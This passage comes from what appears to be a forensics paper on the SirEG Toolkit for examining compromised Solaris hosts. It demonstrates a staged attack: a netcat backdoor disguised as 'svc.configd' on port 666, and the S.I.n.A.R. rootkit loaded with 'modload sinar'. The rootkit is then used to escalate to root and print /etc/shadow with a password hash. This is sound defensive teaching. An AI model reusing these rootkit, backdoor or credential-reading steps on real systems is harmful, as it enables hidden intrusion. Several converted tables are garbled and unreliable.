jswithi pts/6  11:27am  5 sleep 5

==== [last -a] Last logins and reboots (2009-01-19 13:34:09)
jswithi pts/4 Mon Jan 19 11:26  still logged in edtosin02.telius.sec
jswithi sshd Mon Jan 19 11:27 - 11:31 (00:04) edtosin02.telius.sec
lp pts/5 Mon Jan 19 11:26  still logged in edtosin02.telius.sec
lp sshd Mon Jan 19 11:26 - 11:27 (00:01) edtosin02.telius.sec
jswithi pts/6 Mon Jan 19 11:26  still logged in edtosin02.telius.sec
```

Screen Shot 14 Raw report generated by SirEG_Gather_Data.sh

5.4.3 Open Ports Report

According to Staniford, Hoagland, & McAlerney (2002), “Portscanning is a common activity of considerable importance. It is often used by computer attackers to characterize hosts or networks which they are considering hostile activity against” (p. 105). The SirEG
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Toolkit therefore generates a specialized report based on open ports and established connections to help a security analyst identify the possible ‘doors’ a malicious hacker might use to enter a system uninvited. Screen Shot 15 shows what the report looks like:

```
<table>
<thead>
<tr>
<th>PORT/PROTO</th>
<th>IANA Lookup</th>
<th>LSOF Lookup</th>
</tr>
</thead>
<tbody>
<tr>
<td>22 TCP</td>
<td></td>
<td></td>
</tr>
<tr>
<td>80 TCP</td>
<td></td>
<td></td>
</tr>
<tr>
<td>566 TCP</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Established connections

<table>
<thead>
<tr>
<th>LOCAL ADDRESS</th>
<th>REMOTE ADDRESS</th>
<th>SWIND</th>
<th>SND-Q</th>
<th>RSEND</th>
<th>RWIN</th>
<th>RREC</th>
<th>STATE</th>
</tr>
</thead>
<tbody>
<tr>
<td>154.11.193.246.22</td>
<td>154.11.193.6.32859</td>
<td>10816</td>
<td>0</td>
<td>49248</td>
<td>0</td>
<td>0</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>154.11.193.246.22</td>
<td>154.11.193.6.32809</td>
<td>52736</td>
<td>0</td>
<td>49248</td>
<td>0</td>
<td>0</td>
<td>ESTABLISHED</td>
</tr>
</tbody>
</table>
```

**Screen Shot 15 Open ports reports**

In the first section titled **Open ports**, each open port found on the system is listed and the port number is matched to the **Well Known Port Numbers** list from IANA (2009). Since
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ports are opened by processes, *SirEG_Analyze_Data.sh* correlates each open port to running processes using *lsof*. Note also how the PID of each process is a hyperlink to a more detailed process report.

In the second section (**Established connections**), established connections are shown. If for some reason an established connection exists on a port that the server is not listening to, that connection is highlighted. The reason for this will be explained when we look at a compromised host in section 6.

### 5.4.4 Network Report

Arp cache poisoning (Montoro, 2001) and other forms of manipulation of the TCP/IP stacks and routing tables of a host can be exploited by a malicious hacker. The SirEG Toolkit therefore has a specialized report of network-related information like interfaces, routes, arp table and both the ip and tcp stacks, as shown in Screen Shot 16:
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Network Report

List of network interfaces

lo0:  flags=20010000849  mtu 8232  index 1
     inet 127.0.0.1  netmask ffff0000
sri0: flags=100849  mtu 1500  index 2
     inet 194.11.193.246  netmask ff000000  broadcast 194.11.193.255
     ether 0:3:be:1e:23:2b

Host routes

Routing Table: IPv4

<table>
<thead>
<tr>
<th>Destination</th>
<th>Gateway</th>
<th>Flags</th>
<th>Ref</th>
<th>Use</th>
<th>Interface</th>
</tr>
</thead>
<tbody>
<tr>
<td>default</td>
<td>194.11.193.241</td>
<td>UG</td>
<td>1</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>194.11.193.240</td>
<td>194.11.193.246</td>
<td>U</td>
<td>1</td>
<td>1 sri0</td>
<td></td>
</tr>
<tr>
<td>224.0.0.0</td>
<td>194.11.193.246</td>
<td>U</td>
<td>1</td>
<td>0 sri0</td>
<td></td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>UB</td>
<td>3</td>
<td>6 lo0</td>
<td></td>
</tr>
</tbody>
</table>

ARP table

<table>
<thead>
<tr>
<th>Device</th>
<th>IP Address</th>
<th>Mask</th>
<th>Flags</th>
<th>Phy Add</th>
</tr>
</thead>
<tbody>
<tr>
<td>sri0</td>
<td>194.11.193.241</td>
<td>255.255.255.255</td>
<td>o</td>
<td>00:0d:86:06:d0:a5</td>
</tr>
<tr>
<td>sri0</td>
<td>Server</td>
<td>255.255.255.255</td>
<td>SPLA</td>
<td>00:03:ba:19:23:2b</td>
</tr>
<tr>
<td>sri0</td>
<td>BASE-ADDRESS.RCST.NET 240.0.0.0</td>
<td>255.255.255.255</td>
<td>SK</td>
<td>01:00:5e:00:00:00</td>
</tr>
</tbody>
</table>

IP stack parameters

ip respond to address_mask broadcast (read: name is non-existent for this module
for a list of valid names, use name '?'
ip respond to echo broadcast: 1

Screen Shot 16 Network report
5.4.5 Processes Report

Screen Shot 17 shows the Processes Report which contains information about processes running on the system.

<table>
<thead>
<tr>
<th>PID</th>
<th>PPID</th>
<th>COMMAND (truncated to 40 characters)</th>
<th>CREDENTIALS</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0</td>
<td>init</td>
<td>suid=0</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>dbus/virt/qrc-start-0</td>
<td>euid=0</td>
</tr>
<tr>
<td>3</td>
<td>1</td>
<td>dbus/virt/qrc-config</td>
<td>euid=0</td>
</tr>
<tr>
<td>107</td>
<td>1</td>
<td>/usr/lib/systemd/systemd</td>
<td>euid=0</td>
</tr>
<tr>
<td>110</td>
<td>1</td>
<td>/usr/lib/systemd/systemd</td>
<td>euid=0</td>
</tr>
<tr>
<td>112</td>
<td>1</td>
<td>/usr/lib/systemd/systemd</td>
<td>euid=0</td>
</tr>
<tr>
<td>128</td>
<td>1</td>
<td>/usr/lib/systemd/systemd</td>
<td>euid=0</td>
</tr>
<tr>
<td>219</td>
<td>1</td>
<td>/usr/lib/systemd/systemd</td>
<td>euid=0</td>
</tr>
<tr>
<td>226</td>
<td>7</td>
<td>/usr/lib/dacore - 300</td>
<td>euid=0</td>
</tr>
<tr>
<td>285</td>
<td>276</td>
<td>/usr/lib/dacore</td>
<td>euid=0</td>
</tr>
<tr>
<td>324</td>
<td>1</td>
<td>/usr/lib/dacore</td>
<td>euid=0</td>
</tr>
<tr>
<td>390</td>
<td>7</td>
<td>/usr/lib/dacore - g - c /dev/console</td>
<td>euid=0</td>
</tr>
</tbody>
</table>

Processes running with \textit{suid=0} or \textit{sgid=0} are highlighted. Each process’ s PID (Process ID) and PPID (Parent Process ID) is a hyperlink to a detailed report for that particular process (Screen Shot 18). The detailed report covers the libraries that the process makes calls to (\textit{pldd}), under what credentials it is running (\textit{pcred}), what memory areas it is referencing (\textit{pmap}), its place in the process tree (\textit{ptree}) and the files it has opened (\textit{pfiles}).
5.4.6 Patches Report

According to Nicastro (2003), “most organizations tend to tolerate the existence of security vulnerabilities and, as a result, deployment of important security-related patches is often delayed” (p. 2). This delay in turn can lead to the host being exploited. This is the reason behind the Patches Report, which highlights the patch level of the host, as shown in Screen Shot 19:

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### Screen Shot 19 Patches report

Each patch currently applied on the system is listed with a hyperlink to Sunsolve (sunsolve.sun.com). Up-to-date security patches are highlighted in pale yellow, while obsolete security patches are highlighted in bright yellow. By highlighting security-related patches that are out of date, this page can help an analyst identify the attack vector used by a malicious hacker to compromise the host.

### 5.4.7 Users and logins Report

Screen Shot 20 shows the **Users and Logins Report**, which focuses on users and their activity on the system.

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Users and logins report

Users with \texttt{uid=0} and groups with \texttt{gid=0} are highlighted in yellow. Other things available in this report are the times of the last reboots, which users are currently on the host, a tally of user logins and login sources, and the log of \texttt{su} activity. Note how each username is a hyperlink that takes the analyst to a personalized report for that user (Screen Shot 21).

These personalized reports show detailed user information like the list of all processes owned by the user, what files the user currently has open, what system(s) he logged in from, the

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user’s history files, any entries in /var/adm/messages attributed to that user, and his `su` activity.

### Detailed report on user fbegin1

**User entry from /etc/passwd**

fbegin:x:100:1::/export/home/fbegin1:/bin/bash

**Group memberships from /etc/group**

other:::root
webteam::100::fbegin1,tjoums1

**Was user logged in when SirEG.sh ran?**

11:33am up 17 min(s), 5 users, load average: 0.06, 0.41, 0.44
User    try login2 idle CPU  PCPU  what
fbegin pts/2   11:19am  3:40  u

**Processes owned by fbegin1**

<table>
<thead>
<tr>
<th>PID</th>
<th>PPID</th>
<th>CMD</th>
</tr>
</thead>
<tbody>
<tr>
<td>450</td>
<td>447</td>
<td>/usr/lib/shd</td>
</tr>
<tr>
<td>452</td>
<td>450</td>
<td>-bash</td>
</tr>
</tbody>
</table>

**Files opened by fbegin1**

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PID</th>
<th>USER</th>
<th>FD</th>
<th>TYPE</th>
<th>DEVICE</th>
<th>SIZE/OFF</th>
<th>NODE</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>sshd</td>
<td>450</td>
<td>fbegin</td>
<td>2</td>
<td>unknown1</td>
<td>file</td>
<td></td>
<td></td>
<td>/export/home/fbegin1</td>
</tr>
<tr>
<td>sshd</td>
<td>450</td>
<td>fbegin</td>
<td>5</td>
<td>unknown2</td>
<td>file</td>
<td></td>
<td></td>
<td>/export/home/fbegin1</td>
</tr>
<tr>
<td>sshd</td>
<td>450</td>
<td>fbegin</td>
<td>5</td>
<td>unknown3</td>
<td>file</td>
<td></td>
<td></td>
<td>/export/home/fbegin1</td>
</tr>
<tr>
<td>sshd</td>
<td>450</td>
<td>fbegin</td>
<td>5</td>
<td>unknown4</td>
<td>file</td>
<td></td>
<td></td>
<td>/export/home/fbegin1</td>
</tr>
<tr>
<td>sshd</td>
<td>450</td>
<td>fbegin</td>
<td>5</td>
<td>unknown5</td>
<td>file</td>
<td></td>
<td></td>
<td>/export/home/fbegin1</td>
</tr>
</tbody>
</table>

Screen Shot 21 User report for ‘fbegin1’

Not surprisingly, there is ample literature on the subject of covering one’s tracks by altering history files, `su` logs and other system logs. One such example is *Steps To Deface A Webpage* (boiler, 2006). But not all malicious hackers are both careful and skilled, and even the ones who are can make mistakes, allowing security analysts to find useful information.

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while parsing these logs.

### 5.4.8 Vulnerabilities Report

The Vulnerabilities Report (Screen Shot 22) focuses on vulnerabilities that the host might be susceptible to.

![Screen Shot 22 Vulnerability report](image)

To create this report, `SirEG_Analyze_Data.sh` queries the Common Vulnerabilities and Exposures database (CVE), the National Vulnerability Database (NVD) as well as Sunsolve. A list of current known vulnerabilities is downloaded and processed. From that list, all Solaris

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vulnerabilities associated with the particular OS version and platform of our suspicious host are extracted. The script then attempts to determine the condition under which the host might be vulnerable (typically a patch that has not been installed).

If successful, the script assesses whether or not the host is vulnerable and highlights the vulnerability based on the NVD Base Score & Severity (bright yellow: high, yellow: medium, pale yellow: low). Just like the patch report, this page can help identify the attack vector used if the host has indeed been compromised.

5.4.9 Solaris Fingerprints Report

This report (Screen Shot 23) focuses on the MD5 checksums of the binaries found in /usr/bin and /usr/sbin on the system.

Using the output of the hashdeep tool, SirEG_Analyze_Data.sh queries the Sunsolve...
Fingerprint Database and compares each MD5 checksum found on the suspicious host to what is known to the database. If a binary is not found or if the MD5 does not match, the file is highlighted in bright yellow.

Recent research has shown weakness in the MD5 algorithm, and it is a well-known fact that a malicious and enterprising hacker can create two binaries that perform totally different functions and yet have the same MD5 checksum. Stevens, Lenstra, & de Weger demonstrated this in their paper Vulnerability of software integrity and code signing applications to chosen-prefix collisions for MD5 (2007). But for this to happen, both files have to be modified. In other words, you cannot create a file that has a given hash; you can only manipulate two files in such a way that both return the same hash. In practical terms, this means that if our malicious and enterprising hacker wanted to compromise Solaris binaries and hide this compromise from the Solaris Fingerprint Database, he would have to compromise not just the binaries on the host but also the database itself. Considering the effort that would be required to achieve both tasks, the Solaris Fingerprint Database remains a trustworthy tool to assess the integrity of binaries found on a suspicious system.

5.4.10 MDB commands Report

According to Batchev (2007), “the operating system kernel is where the meta-data
about system operation lives and is maintained. The Kernel is the most reliable source of this metadata (provided that it has not been tampered with)” (p. 19). This statement opens up new avenues for us to gather and analyze data. For instance, while the `ps` command can be used to list process information, we can also query the kernel directly using the MDB debugger tool (`mdb`). For a malicious hacker, hiding a process by compromising the `ps` command on a host is a lot easier than hiding it by modifying the running kernel.

The **MDB commands Report** therefore compares the output of the `ps` command to what is in the running kernel (using the kernel debugger running in read-only mode). Any process for which `ps` and `mdb` find themselves in disagreement (one can see it but the other cannot) is highlighted (Screen Shot 24).
The SirEG Toolkit

<table>
<thead>
<tr>
<th>PID-ps</th>
<th>PPID-ps</th>
<th>UID-ps</th>
<th>PID-mdb</th>
<th>PPID-mdb</th>
<th>UID-mdb</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>ps: sched</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: sched</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>ps: /sbin/init</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: /sbin/init</td>
</tr>
<tr>
<td>2</td>
<td>0</td>
<td>1</td>
<td>2</td>
<td>0</td>
<td>0</td>
<td>ps: pageout</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: pageout</td>
</tr>
<tr>
<td>3</td>
<td>0</td>
<td>1</td>
<td>3</td>
<td>0</td>
<td>0</td>
<td>ps: flush</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: flush</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>0</td>
<td>7</td>
<td>1</td>
<td>0</td>
<td>ps: /lib/.so/hand.so_startd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: /lib/so/hand.so_startd</td>
</tr>
<tr>
<td>20</td>
<td>1</td>
<td>0</td>
<td>9</td>
<td>1</td>
<td>0</td>
<td>ps: /lib/so/hand.so_confidental</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: /lib/so/hand.so_confidental</td>
</tr>
<tr>
<td>107</td>
<td>1</td>
<td>0</td>
<td>107</td>
<td>1</td>
<td>0</td>
<td>ps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td>114</td>
<td>1</td>
<td>0</td>
<td>114</td>
<td>1</td>
<td>1</td>
<td>ps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td>128</td>
<td>1</td>
<td>0</td>
<td>125</td>
<td>1</td>
<td>0</td>
<td>ps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td>129</td>
<td>1</td>
<td>0</td>
<td>129</td>
<td>1</td>
<td>0</td>
<td>ps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td>218</td>
<td>1</td>
<td>0</td>
<td>218</td>
<td>1</td>
<td>0</td>
<td>ps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td>276</td>
<td>1</td>
<td>0</td>
<td>276</td>
<td>7</td>
<td>0</td>
<td>ps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td>280</td>
<td>276</td>
<td>0</td>
<td></td>
<td></td>
<td></td>
<td>ps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td>284</td>
<td>1</td>
<td>0</td>
<td>284</td>
<td>1</td>
<td>0</td>
<td>ps: /usr/lib/systemd/systemd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>MDBps: /usr/lib/systemd/systemd</td>
</tr>
</tbody>
</table>

Screen Shot 24 Comparing the output from the ps and mdb commands

Since certain rootkits make use of kernel modules, we also present a comparison between the *modinfo* command and its kernel debugger counterpart, highlighting any discrepancies (Screen Shot 25).

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5.4.11 System logs Report

While it is well understood that “if the logs are kept locally on the compromised machine they are susceptible to alteration or deletion by an attacker” (Braid, 2001. p. 7), system logs often contain traces left behind by a careless or unskilled malicious hacker. Not only that but sometimes “it may be what’s missing from the logs that is suspicious” (p. 8). The System logs Report (Screen Shot 26) therefore focuses on gathering some key system
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logs. Since analyzing logs and highlighting suspicious events based on heuristics would warrant a paper in themselves, this report does nothing more than organize the logs so they can be viewed and referred to easily.

5.4.12 Startup/Services Report

Screen Shot 27 shows the **Startup/Services Report**, which lists startup scripts and services running on the host. This can be used by an analyst to correlate processes to ports currently listening on the host, to list applications that have started following a reboot, etc.
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### Screenshots

```
/etc/rc0.d:
  total 18
  drwxr-xr-x  73 root  sys  9056 Jan 19 11:17 ..
  -rwxr-xr-x  5 root  sys  359 Jul 30 15:30 K521ic2
  drwxr-xr-x  2 root  sys  512 Jul 30 15:30 .
  -rwxr-xr-x  4 root  sys  1151 Jul 30 15:26 K621u
  -rwxr-xr-x  6 root  sys  474 Jul 30 15:24 K27boot.server

/etc/rcm:
  total 12
  drwxr-xr-x  73 root  sys  9056 Jan 19 11:17 ..
  drwxr-xr-x  2 root  sys  512 Jul 30 15:07 scripts
  drwxr-xr-x  3 root  sys  512 Jul 30 15:07 .

/etc/rcm/scripts:
  total 4
  drwxr-xr-x  2 root  sys  512 Jul 30 15:07 .
  drwxr-xr-x  3 root  sys  512 Jul 30 15:07 ..
```

### Services

<table>
<thead>
<tr>
<th>Service</th>
<th>State</th>
<th>Start Time</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>legacy_run</td>
<td></td>
<td>11:17:22</td>
<td>/usr/local/bin</td>
</tr>
<tr>
<td>legacy_run</td>
<td></td>
<td>11:17:22</td>
<td>/usr/local/bin</td>
</tr>
<tr>
<td>legacy_run</td>
<td></td>
<td>11:17:23</td>
<td>/usr/local/bin</td>
</tr>
<tr>
<td>legacy_run</td>
<td></td>
<td>11:17:23</td>
<td>/usr/local/bin</td>
</tr>
<tr>
<td>legacy_run</td>
<td></td>
<td>11:17:24</td>
<td>/usr/local/bin</td>
</tr>
</tbody>
</table>

---

5.4.13 Interesting files report

This report (Screen Shot 28) focuses on files and directories that might be of interest.
Some key data available on this page are:

- List of unlinked files

Files that are linked to a process that is running in memory, yet the program that
spawned it no longer exists on disk.

- Contents of users’ `crontab` files

  It is common for malicious hackers to use `cron` to perform regular tasks on a compromised host e.g. send out spam, re-open a port, move files, etc.

- Contents of `/tmp`

  This is where programs typically keep temporary files used while they are running. On Solaris, this is part of the virtual memory and the data in question is lost when the system reboots.

### 6. Demonstrating the use of the SirEG Toolkit

#### 6.1 Compromising our test host

To demonstrate the use of the SirEG Toolkit, let us gather and analyze data from a host that has been tampered with and see how an analyst could use the html reports to discover the compromise. In this fictitious scenario, an analyst is asked to investigate a Solaris 10 host named `defiant` which runs a web server for his company. He is told that the two main users of that host are F. Bégin and J. Jones, that the host has been somewhat
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hardened and should only have services listening on ports 80 (web server) and 22 (ssh server). Prior to using the SirEG Toolkit, the following was done to the host:

1. `netcat` was installed and made to listen on port 666 to simulate a hacker installing a backdoor on the host. The `nc` binary was renamed `svc.configd` to try to camouflage `netcat` as a trusted Solaris system process. Finally, a connection via the `netcat` listener was established from another host.

2. The `/p` system user account was modified and given root privileges to simulate the creation of login id with admin privileges that a hacker could use to log in to the server.

3. The `pwd` binary was tampered with to simulate a malicious hacker modifying common binaries in order to gain information from unsuspecting users and/or to ensure that he can re-take control of the host in the event he is discovered.

4. A script called `hackthebox.sh` was run to spawn a process, then the script was deleted. This simulates a hacker running a process for some nefarious purpose and then trying to delete traces of his actions from the hard disk.

5. `S.I.n.A.R`, a Solaris proof-of-concept rootkit, was installed on the host. An account named `jsmith1` was then created. Someone logged in to the system as that user and

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escaped his privileges to root using \textit{S.I.n.A.R.}. This simulates techniques a hacker might use to re-gain ownership of a server after he has been discovered.

\textbf{6.2 S.I.n.A.R. 101}

Before looking at the suspicious host using SirEG, let us take a tour of \textit{S.I.n.A.R.}. This should give us a clear idea of what a sophisticated compromise looks like.

\textit{S.I.n.A.R.} was written by Archim as a proof-of-concept Solaris rootkit. The tool is described in detail in his paper titled \textit{SUN - Bloody Daft Solaris Mechanisms. \textquotedblleft B.D.S.M. the Solaris 10 way.	extquotedblright} \textit{S.I.n.A.R. isn't a rootkit} (2004). This particular piece of code is a loadable kernel module that has been designed to unlink itself from the module list and decrement the module ID, therefore hiding itself from a user trying to get a list of kernel modules. \textit{S.I.n.A.R.} also hides the user shell of someone who uses it to escalate his privileges. All in all, it is a challenging tool to find on a suspicious host. Refer to Appendix A for a detailed discussion of how to obtain and compile S.I.n.A.R. In this section, only S.I.n.A.R.'s use is demonstrated.

First, a snapshot of the output of \texttt{modinfo} is taken before loading \textit{S.I.n.A.R.}.

\begin{verbatim}
# modinfo > /tmp/modinfo_before
# /usr/local/bin/hashdeep /tmp/modinfo_before
% % % % HASHDEEP-1.0
% % % % size,MD5,sha256,filename
\end{verbatim}
## Invoked from: /
## # /usr/local/bin/hashdeep /tmp/modinfo_before
11616,165c954c117cf37a8833d15f63292572,a62df017a6ace31c67c6704c60f56dd34ec185e058d8100ac50984385ac7d452,/tmp/modinfo_before

Now *S.I.n.A.R.* is loaded and a snapshot of *modinfo* is taken.

```
# modload sinar
# modinfo > /tmp/modinfo_sinar_loaded
# /usr/local/bin/hashdeep /tmp/modinfo_sinar_loaded
```

The checksums are exactly the same, so as far as the list of modules running on the system is concerned, *S.I.n.A.R.* does not exist. *S.I.n.A.R.* does output something to /var/adm/messages but that is just to show that the module was successfully loaded (*S.I.n.A.R.*’s author considers the code as a proof-of-concept):

```
Jan 13 15:25:04 defiant <unknown>: [ID 487132 kern.notice] NOTICE: SInAR unregistering from DTrace
```

In this scenario, a malicious hacker created a new regular user account called *jsmith1*. This regular account can be used to demonstrate how the hacker can escalate his privileges.

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by using *S.l.n.A.R.* First, the user logs in to the host where *S.l.n.A.R.* has been loaded:

```
$ ssh -l jsmith1 defiant
Password:
Last login: Tue Jan 13 12:53:14 2009 from edtosim02.telus
Sun Microsystems Inc.  SunOS 5.10  Generic January 2005

This is only a regular user who has no access to the shadow file:

```
$ id
uid=102(jsmith1) gid=1(other)
$ cat /etc/shadow
```
cat: cannot open /etc/shadow
```
S.l.n.A.R. can be kicked off by using the secret command compiled in the module (see Appendix A for more details):

```
$ ./sinarrk
sinarrk-3.00# id
uid=0(root) gid=0(root)

Voila! Instant root! Further proof can be obtained by taking a look at the /etc/shadow file, which should only be visible to root:

```
# cat /etc/shadow
root:pvChE8uxoy1VI:6445::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
```

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Since \textit{S.I.n.A.R.} has just allowed a user to escalate his privileges on the system, perhaps it is now visible to \textit{modinfo}? To test this proposition, \textit{modinfo} is run one more time and its MD5 and SHA256 hashes are computed. The hashes are the same as before, so \textit{S.I.n.A.R.} remains hidden. Not only that, but \textit{jsmith1} does not appear to be doing anything special. Here is the output of \texttt{ps -ef}, before and after privilege escalation:

Before privilege escalation

\begin{verbatim}
# ps -ef | grep jsmith1
jsmith1 465  463  0 15:26:22 pts/2       0:00 -bash
jsmith1 463  460  0 15:26:22 ?           0:00 /usr/lib/ssh/sshd
\end{verbatim}

After privilege escalation

\begin{verbatim}
# ps -ef | grep jsmith1
jsmith1 465  463  0 15:26:22 pts/2       0:00 -bash
jsmith1 463  460  0 15:26:22 ?           0:00 /usr/lib/ssh/sshd
\end{verbatim}

No other suspicious process shows up when \texttt{ps -ef} is run. \textit{S.I.N.A.R.} works as advertised, hiding itself quite well from a superficial investigation. We are now ready to see if the SirEG Toolkit is up to the challenge of finding this compromise, including \textit{S.I.n.A.R.}
6.3 Checking open ports

One of the first things most security analysts will do on a live system that is suspected of having been compromised is to look at its open ports. Referring back to Screen Shot 15, multiple ssh connections to that host from various sources can be seen. The web server listening on port 80 is also visible as expected, but there is a third entry in the table:

![Screen Shot 29 Suspicious entry in the open ports report](image_url)

This does not look quite right. Something is listening on port 666 on that system. A IANA lookup identifies the service as *doom ID Software* and *lsof* associates the open port with a process called *svc.conf* (the name was truncated) with PID of 2877. Clicking on the hyperlink for PID 2877, the analyst can get a detailed report of that process, as shown on Screen Shot 30:
From the detailed process report, the analyst can see that the process was called with the command: `./svc.configd -l -p 666`. Anyone familiar with GNU `netcat` will probably recognize the syntax. Apparently, the `nc` binary has been renamed `svc.configd` before being run. But even someone unfamiliar with `netcat` should notice that the command was run from the current working directory (`./`) rather than being called using an absolute path. This most certainly does not look right! Scrolling down **Detailed Report for Process 2877**, the analyst can examine the process tree (based on the `ptree` command) to see where this process
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originated.

```

Anne Foley

Screen Shot 31 ptree for suspicious process

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Note how SirEG highlights the current process in red in the \textit{ptree} section of the detailed report. The process was spawned by a shell session (PID 2872 -bash) which originated from an \textit{ssh} session (PID 2870 /usr/lib/ssh/sshd). So someone connected to the server via \textit{ssh} and ran \texttt{/svc.configd -l -p 666}. This resulted in the host listening on port 666. There is definitely something suspect happening here.

Note that if an active session had been taking place when \texttt{SirEG\_Gather\_Data.sh} was run, then nothing would have been listening on port 666 since GNU \texttt{netcat} only accepts a single connection at a time. The SirEG toolkit would still help. Consider Screen Shot 32 for that particular scenario:
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### Screen Shot 32 Looking at established sessions

Under **Established Connections**, SirEG lists all connections currently established on the host. As mentioned previously, if a connection is established but the host is no longer listening on that port, then the connection is highlighted. There are legitimate reasons for these types of connections, for instance an ftp server that only allows 3 users to be logged in at one time. But one goal of SirEG is to highlight things that might not be quite right.

In this particular case, it shows that something has established a dedicated connection.
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to the host on port 666, yet under Open Ports, nothing is listening. To find out what that ‘something’ is, an analyst would go back to the main report (Screen Shot 13) and pick isof -D -P : List open files under the section titled Output from SirEG_Gather_Data.sh. He would then search for port 666 (:666) using his browser’s search feature. Here is what he would find:

<table>
<thead>
<tr>
<th>Command</th>
<th>PID</th>
<th>User</th>
<th>Group</th>
<th>Command Path</th>
<th>PID Type</th>
<th>File System Type</th>
<th>File Type</th>
<th>File Connection</th>
</tr>
</thead>
<tbody>
<tr>
<td>bash</td>
<td>6642</td>
<td>root</td>
<td>1u</td>
<td>VCHR 24,2 0.5990000 12382290 /devices/pseudo/pts0:2-3ttcmaplatl-dterm-pctemp-pts</td>
<td>0</td>
<td>[none]</td>
<td>[none]</td>
<td>[none]</td>
</tr>
<tr>
<td>bash</td>
<td>6642</td>
<td>root</td>
<td>2u</td>
<td>VCHR 24,2 0.5990000 12382290 /devices/pseudo/pts0:2-3ttcmaplatl-dterm-pctemp-pts</td>
<td>0</td>
<td>[none]</td>
<td>[none]</td>
<td>[none]</td>
</tr>
<tr>
<td>bash</td>
<td>6642</td>
<td>root</td>
<td>3r</td>
<td>VCHR 24,2 0.5990000 12382290 /devices/pseudo/pts0:2-3ttcmaplatl-dterm-pctemp-pts</td>
<td>0</td>
<td>[none]</td>
<td>[none]</td>
<td>[none]</td>
</tr>
<tr>
<td>svc.conf</td>
<td>7194</td>
<td>root</td>
<td>255u</td>
<td>VCHR 24,2 0.5990000 12382290 /devices/pseudo/pts0:2-3ttcmaplatl-dterm-pctemp-pts</td>
<td>0</td>
<td>[none]</td>
<td>[none]</td>
<td>[none]</td>
</tr>
<tr>
<td>svc.conf</td>
<td>7194</td>
<td>root</td>
<td>255u</td>
<td>VCHR 24,2 0.5990000 12382290 /devices/pseudo/pts0:2-3ttcmaplatl-dterm-pctemp-pts</td>
<td>0</td>
<td>[none]</td>
<td>[none]</td>
<td>[none]</td>
</tr>
<tr>
<td>svc.conf</td>
<td>7194</td>
<td>root</td>
<td>255u</td>
<td>VCHR 24,2 0.5990000 12382290 /devices/pseudo/pts0:2-3ttcmaplatl-dterm-pctemp-pts</td>
<td>0</td>
<td>[none]</td>
<td>[none]</td>
<td>[none]</td>
</tr>
<tr>
<td>svc.conf</td>
<td>7194</td>
<td>root</td>
<td>255u</td>
<td>VCHR 24,2 0.5990000 12382290 /devices/pseudo/pts0:2-3ttcmaplatl-dterm-pctemp-pts</td>
<td>0</td>
<td>[none]</td>
<td>[none]</td>
<td>[none]</td>
</tr>
<tr>
<td>svc.conf</td>
<td>7194</td>
<td>root</td>
<td>255u</td>
<td>VCHR 24,2 0.5990000 12382290 /devices/pseudo/pts0:2-3ttcmaplatl-dterm-pctemp-pts</td>
<td>0</td>
<td>[none]</td>
<td>[none]</td>
<td>[none]</td>
</tr>
<tr>
<td>svc.conf</td>
<td>7194</td>
<td>root</td>
<td>255u</td>
<td>VCHR 24,2 0.5990000 12382290 /devices/pseudo/pts0:2-3ttcmaplatl-dterm-pctemp-pts</td>
<td>0</td>
<td>[none]</td>
<td>[none]</td>
<td>[none]</td>
</tr>
</tbody>
</table>

Screen Shot 33 Tracking process listening on port 666 using isof

From that point, he could take a closer look at the process with PID=7194 (svc.conf)

and repeat the steps taken when that process was listening, reaching the same conclusion:

something does not look quite right.

6.4 Checking users

